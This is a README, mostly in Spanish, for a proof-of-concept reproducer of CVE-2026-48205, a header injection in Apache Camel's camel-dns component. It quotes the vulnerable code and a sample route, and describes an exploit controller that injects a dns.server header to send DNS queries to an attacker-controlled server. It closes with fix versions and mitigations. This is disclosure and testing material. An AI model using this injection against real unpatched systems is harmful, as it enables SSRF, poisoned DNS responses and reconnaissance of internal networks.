
Reproductor para CVE-2026-48205: inyección de encabezados dns.* de Apache Camel camel-dns que redirige consultas DNS a un resolver controlado por el atacante (SSRF vía DNS) y permite el reconocimiento de nombres de host internos (corregido en 4.14.8/4.18.3/4.21.0)
dns.* / term Header Injection Reproducer (CVE-2026-48205)Este proyecto demuestra una inyección de encabezados de mensaje en el componente camel-dns de Apache Camel, registrada como CVE-2026-48205. Los productores DNS leen sus parámetros de operación — el resolvedor a consultar, el nombre/dominio a buscar, el tipo/clase de registro y el término de búsqueda — de los encabezados Exchange cuyos valores constantes (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) eran las cadenas simples dns.server, dns.name, dns.domain, dns.type, dns.class y term. Debido a que estos nombres no comienzan con el prefijo Camel / camel, HttpHeaderFilterStrategy — que solo bloquea el espacio de nombres de encabezados Camel en el límite HTTP — les permite pasar de una solicitud HTTP entrante directamente al Exchange.
En una ruta que conecta un consumidor HTTP (por ejemplo platform-http) con un productor dns:, cualquier cliente HTTP puede, por lo tanto, establecer el encabezado dns.server para hacer que el productor dig construya un SimpleResolver que apunte a un servidor DNS controlado por el atacante — una falsificación de solicitud del lado del servidor (SSRF) vía DNS, a través de la cual el atacante observa el nombre consultado y puede devolver respuestas envenenadas — y puede establecer dns.name / dns.domain para resolver nombres de host internos arbitrarios (reconocimiento de red interna).
Advisory: https://camel.apache.org/security/CVE-2026-48205.html
La corrección renombra los encabezados a
CamelDnsServer/CamelDnsName/ etc., para que se filtren en el límite HTTP como cualquier otro encabezado de control de Camel. Misma familia que CVE-2025-27636, CVE-2026-46454 y CVE-2026-47323.
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
La corrección (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renombra los valores a la convención CamelDns*.
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
La ruta consulta un nombre fijo contra el resolvedor predeterminado. El atacante añade un único encabezado dns.server y la consulta se redirige a su servidor DNS. (dns.server está en minúsculas, por lo que sobrevive la normalización de encabezados de un contenedor de servlets — platform-http es suficiente.)
Everything runs in one self-contained container: the victim route, the attacker's fake DNS server (UDP 53), and the attacker driver.
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
El servidor DNS del atacante ahora ve el nombre de búsqueda de la víctima (y podría devolver una respuesta envenenada). Apuntar dns.server a un resolvedor DNS interno real, o establecer dns.name a nombres de host internos, permite el reconocimiento de la red interna.
Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Después de la actualización, las rutas que manejan operaciones DNS a través de encabezados deben usar CamelDnsServer / CamelDnsName / etc.
Hasta la actualización, elimine los encabezados dns.* y term de cualquier entrada no confiable antes del productor dns:, y establezca el servidor DNS y los parámetros de búsqueda desde una fuente confiable en la ruta.
Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-dns |
| Clase afectada | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-918 (Falsificación de solicitud del lado del servidor) |
| Impacto | Redirigir la consulta DNS de la ruta a un servidor controlado por el atacante (observar nombres, devolver respuestas envenenadas); enumerar nombres de host internos |
| Precondiciones | Una ruta conecta un consumidor HTTP con un productor dns:; no autenticado cuando el consumidor lo está |
| Versiones afectadas | De 4.0.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| Crédito | Yu Bao (PayPal) |